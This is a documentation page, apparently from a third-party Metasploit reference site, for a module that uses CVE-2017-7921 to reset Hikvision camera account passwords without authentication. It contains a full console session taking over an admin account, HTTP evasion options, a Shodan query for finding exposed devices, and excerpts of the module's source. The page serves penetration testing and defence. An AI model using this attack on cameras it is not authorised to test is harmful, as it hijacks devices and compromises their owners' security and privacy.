Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic - Metasploit

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Module Overview

Name: Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic
Module: auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
Source code: modules/auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921.rb
Disclosure date: 2017-09-23
Last modification time: 2022-09-23 12:19:29 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-7921

Many Hikvision IP cameras contain improper authentication logic which allows unauthenticated impersonation of any configured user account. The vulnerability has been present in Hikvision products since 2014. In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names. Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: '"App-webs" "200 OK"'). Some of these devices can never be patched due to to the vendor preventing users from upgrading the installed firmware on the affected device. This module utilizes the bug in the authentication logic to perform an unauthenticated password change of any user account on a vulnerable Hikvision IP Camera. This can then be utilized to gain full administrative access to the affected device.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

• repeatable-session: The module is expected to get a shell every time it runs.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
msf auxiliary(hikvision_unauth_pwd_reset_cve_2017_7921) > show targets
    ... a list of targets ...
msf auxiliary(hikvision_unauth_pwd_reset_cve_2017_7921) > set TARGET target-id
msf auxiliary(hikvision_unauth_pwd_reset_cve_2017_7921) > show options
    ... show and set options ...
msf auxiliary(hikvision_unauth_pwd_reset_cve_2017_7921) > exploit

Required Options

• RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

msf6 > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set RHOSTS 192.168.100.180
RHOSTS => 192.168.100.180
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set PASSWORD Pa$$W0rd
PASSWORD => Pa$$W0rd
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set ID 1
ID => 1
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set STORE_CRED true
STORE_CRED => true
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > options

Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   ID          1                yes       ID (default 1 for admin)
   PASSWORD    Pa$$W0rd         yes       New Password (at least 2 UPPERCASE, 2 lowercase and 2 special characters
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      192.168.100.180  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
                                          t
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   STORE_CRED  true             no        Store credential into the database.
   USERNAME    admin            yes       Username for password change
   VHOST                        no        HTTP server virtual host

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > check

[*] Following users are available for password reset...
[*] USERNAME:admin | ID:1 | ROLE:Administrator
[*] USERNAME:admln | ID:2 | ROLE:Operator
[+] 192.168.100.180:80 - The target is vulnerable.
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run
[*] Running module against 192.168.100.180

[*] Following users are available for password reset...
[*] USERNAME:admin | ID:1 | ROLE:Administrator
[*] USERNAME:admln | ID:2 | ROLE:Operator
[*] Starting the password reset for admin...
[+] Password reset for admin was successfully completed!
[*] Please log in with your new password: Pa$$W0rd
[*] Credentials for admin were added to the database...
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset) > creds -O 192.168.100.180
Credentials
===========

host             origin           service        public  private   realm  private_type  JtR Format
----             ------           -------        ------  -------   -----  ------------  ----------
192.168.100.180  192.168.100.180  80/tcp (http)  admin   Pa$$W0rd         Password

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) 

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Msfconsole Usage

Here is how the admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > show info

       Name: Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic
     Module: auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-09-23

Provided by:
  Monte Crypto
  h00die-gr3y <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  ID          1                yes       ID (default 1 for admin)
  PASSWORD    Pa$$W0rd         yes       New Password (at least 2 UPPERCASE, 2 lowercase and 2 special characters
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT       80               yes       The target port (TCP)
  SSL         false            no        Negotiate SSL/TLS for outgoing connections
  STORE_CRED  true             no        Store credential into the database.
  USERNAME    admin            yes       Username for password change
  VHOST                        no        HTTP server virtual host

Description:
  Many Hikvision IP cameras contain improper authentication logic 
  which allows unauthenticated impersonation of any configured user 
  account. The vulnerability has been present in Hikvision products 
  since 2014. In addition to Hikvision-branded devices, it affects 
  many white-labeled camera products sold under a variety of brand 
  names. Hundreds of thousands of vulnerable devices are still exposed 
  to the Internet at the time of publishing (shodan search: 
  '"App-webs" "200 OK"'). Some of these devices can never be patched 
  due to to the vendor preventing users from upgrading the installed 
  firmware on the affected device. This module utilizes the bug in the 
  authentication logic to perform an unauthenticated password change 
  of any user account on a vulnerable Hikvision IP Camera. This can 
  then be utilized to gain full administrative access to the affected 
  device.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-7921
  https://packetstormsecurity.com/files/144097
  https://ipvm.com/reports/hik-exploit
  https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921
  https://seclists.org/fulldisclosure/2017/Sep/23

Module Options

This is a complete list of options available in the admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 auxiliary module:

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > show options

Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   ID          1                yes       ID (default 1 for admin)
   PASSWORD    Pa$$W0rd         yes       New Password (at least 2 UPPERCASE, 2 lowercase and 2 special characters
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   STORE_CRED  true             no        Store credential into the database.
   USERNAME    admin            yes       Username for password change
   VHOST                        no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 auxiliary module:

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > show advanced

Module advanced options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   VERBOSE                  false                                  no        Enable detailed status messages
   WORKSPACE                                                       no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 module can do:

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Communication error occurred: <E.MESSAGE>

Here is a relevant code snippet related to the "<PEER> - Communication error occurred: <E.MESSAGE>" error message:

101:	        'vars_get' => {
102:	          'auth' => auth.strip
103:	        }
104:	      })
105:	    rescue StandardError => e
106:	      elog("#{peer} - Communication error occurred: #{e.message}", error: e)
107:	      return Exploit::CheckCode::Unknown("#{peer} - Communication error occurred: #{e.message}")
108:	    end
109:	
110:	    if res.nil?
111:	      return Exploit::CheckCode::Unknown('No response recieved from the target!')

<PEER> - Communication error occurred: <E.MESSAGE>

Here is a relevant code snippet related to the "<PEER> - Communication error occurred: <E.MESSAGE>" error message:

102:	          'auth' => auth.strip
103:	        }
104:	      })
105:	    rescue StandardError => e
106:	      elog("#{peer} - Communication error occurred: #{e.message}", error: e)
107:	      return Exploit::CheckCode::Unknown("#{peer} - Communication error occurred: #{e.message}")
108:	    end
109:	
110:	    if res.nil?
111:	      return Exploit::CheckCode::Unknown('No response recieved from the target!')
112:	    elsif res && res.code == 200

No response recieved from the target!

Here is a relevant code snippet related to the "No response recieved from the target!" error message:

106:	      elog("#{peer} - Communication error occurred: #{e.message}", error: e)
107:	      return Exploit::CheckCode::Unknown("#{peer} - Communication error occurred: #{e.message}")
108:	    end
109:	
110:	    if res.nil?
111:	      return Exploit::CheckCode::Unknown('No response recieved from the target!')
112:	    elsif res && res.code == 200
113:	      xml_res = res.get_xml_document
114:	      print_status('Following users are available for password reset...')
115:	      user_array = xml_res.css('User')
116:	      return Exploit::CheckCode::Safe('No users were found in the returned CSS code!') if user_array.blank?

No users were found in the returned CSS code!

Here is a relevant code snippet related to the "No users were found in the returned CSS code!" error message:

111:	      return Exploit::CheckCode::Unknown('No response recieved from the target!')
112:	    elsif res && res.code == 200
113:	      xml_res = res.get_xml_document
114:	      print_status('Following users are available for password reset...')
115:	      user_array = xml_res.css('User')
116:	      return Exploit::CheckCode::Safe('No users were found in the returned CSS code!') if user_array.blank?
117:	
118:	      user_array.each do |user|
119:	        print_status("USERNAME:#{user&.at_css('userName')&.content} | ID:#{user&.at_css('id')&.content} | ROLE:#{user&.at_css('userLevel')&.content}")
120:	      end
121:	      return Exploit::CheckCode::Vulnerable

<PEER> - Communication error occurred: <E.MESSAGE>

Here is a relevant code snippet related to the "<PEER> - Communication error occurred: <E.MESSAGE>" error message:

141:	        },
142:	        'ctype' => 'application/xml',
143:	        'data' => post_data
144:	      })
145:	    rescue StandardError => e
146:	      print_error("#{peer} - Communication error occurred: #{e.message}")
147:	      elog("#{peer} - Communication error occurred: #{e.message}", error: e)
148:	      return nil
149:	    end
150:	
151:	    if res.nil?

<PEER> - Communication error occurred: <E.MESSAGE>

Here is a relevant code snippet related to the "<PEER> - Communication error occurred: <E.MESSAGE>" error message:

142:	        'ctype' => 'application/xml',
143:	        'data' => post_data
144:	      })
145:	    rescue StandardError => e
146:	      print_error("#{peer} - Communication error occurred: #{e.message}")
147:	      elog("#{peer} - Communication error occurred: #{e.message}", error: e)
148:	      return nil
149:	    end
150:	
151:	    if res.nil?
152:	      fail_with(Failure::Unknown, 'Target server did not respond to the password reset request')

Target server did not respond to the password reset request

Here is a relevant code snippet related to the "Target server did not respond to the password reset request" error message:

147:	      elog("#{peer} - Communication error occurred: #{e.message}", error: e)
148:	      return nil
149:	    end
150:	
151:	    if res.nil?
152:	      fail_with(Failure::Unknown, 'Target server did not respond to the password reset request')
153:	    elsif res.code == 200
154:	      print_good("Password reset for #{datastore['USERNAME']} was successfully completed!")
155:	      print_status("Please log in with your new password: #{datastore['PASSWORD']}")
156:	      if datastore['STORE_CRED'] == true
157:	        report_creds

Unknown Error. Password reset was not successful!

Here is a relevant code snippet related to the "Unknown Error. Password reset was not successful!" error message:

154:	      print_good("Password reset for #{datastore['USERNAME']} was successfully completed!")
155:	      print_status("Please log in with your new password: #{datastore['PASSWORD']}")
156:	      if datastore['STORE_CRED'] == true
157:	        report_creds
158:	      end
159:	    else
160:	      print_error('Unknown Error. Password reset was not successful!')
161:	      print_status("Please check the password rules and ensure that the user account/ID:#{datastore['USERNAME']}/#{datastore['ID']} exists!")
162:	    end
163:	  end
164:	end

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Related Pull Requests

• #17033 Merged Pull Request: hikvision password reset via inproper authorization logic - CVE-2017-7921

References

• CVE-2017-7921
• PACKETSTORM-144097
• https://ipvm.com/reports/hik-exploit
• https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921
• https://seclists.org/fulldisclosure/2017/Sep/23

See Also

Check also the following modules related to this module:

• auxiliary/gather/hikvision_info_disclosure_cve_2017_7921
• exploit/linux/http/hikvision_cve_2021_36260_blind
• exploit/linux/misc/hikvision_rtsp_bof
• auxiliary/admin/http/cfme_manageiq_evm_pass_reset
• auxiliary/admin/http/intersil_pass_reset
• auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
• auxiliary/admin/http/mantisbt_password_reset
• auxiliary/admin/http/netgear_r6700_pass_reset
• auxiliary/admin/http/nuuo_nvrmini_reset
• auxiliary/admin/http/rails_devise_pass_reset
• auxiliary/admin/2wire/xslt_password_reset
• auxiliary/admin/chromecast/chromecast_reset
• auxiliary/admin/dcerpc/cve_2020_1472_zerologon
• auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
• auxiliary/admin/sap/cve_2020_6207_solman_rce
• auxiliary/admin/sap/cve_2020_6287_ws_add_user
• auxiliary/gather/coldfusion_pwd_props
• auxiliary/gather/konica_minolta_pwd_extract
• auxiliary/gather/xerox_pwd_extract
• auxiliary/scanner/http/titan_ftp_admin_pwd
• auxiliary/scanner/printer/canon_iradv_pwd_extract
• auxiliary/scanner/http/bmc_trackit_passwd_reset
• auxiliary/scanner/http/epmp1000_reset_pass
• auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166
• auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
• auxiliary/scanner/rdp/cve_2019_0708_bluekeep

Authors

• Monte Crypto
• h00die-gr3y <h00die.gr3y[at]gmail.com>

Version

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